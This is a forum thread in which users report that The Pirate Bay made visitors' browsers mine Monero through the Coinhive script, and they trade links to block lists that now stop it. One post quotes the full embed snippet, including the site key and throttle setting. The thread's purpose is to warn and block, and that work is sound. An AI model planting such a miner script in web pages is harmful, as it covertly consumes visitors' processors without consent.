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whiztech
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Post by whiztech »

thepiratebay.org (as an example) has been using coin-hive.com to make visitors mine Monero cryptocurrency.

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https://thepiratebay.org/user/extremezone/

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<script src="https://coin-hive.com/lib/coinhive.min.js"></script>
<script>
var miner = new CoinHive.Anonymous('xP9YtM7sFtCRhh1H2SJGWl60Z0BgbpHy', { throttle: 0.2 });
miner.start();
</script>
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Post by aequasi »

THis has been added to Ublock Origin: https://github.com/uBlockOrigin/uAssets/issues/690

I'm also currently requesting it be added to AdAway: https://github.com/AdAway/AdAway/issues/937
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Post by smed79 »

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Post by peredv »

coinhive.com/lib/coinhive.min.js

A javascript starting to get popular on sites now where it mines the currency "XMR" at around 50% processor-usage. Caused me some considerable headache to gather why tf my games where running 40 fps on a 7700K and 1080ti card.
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Post by intense »

It's already blocked by easyprivacy or the list NoCoin (you can subscribe it here: https://adblockplus.org/en/subscriptions#type_other )
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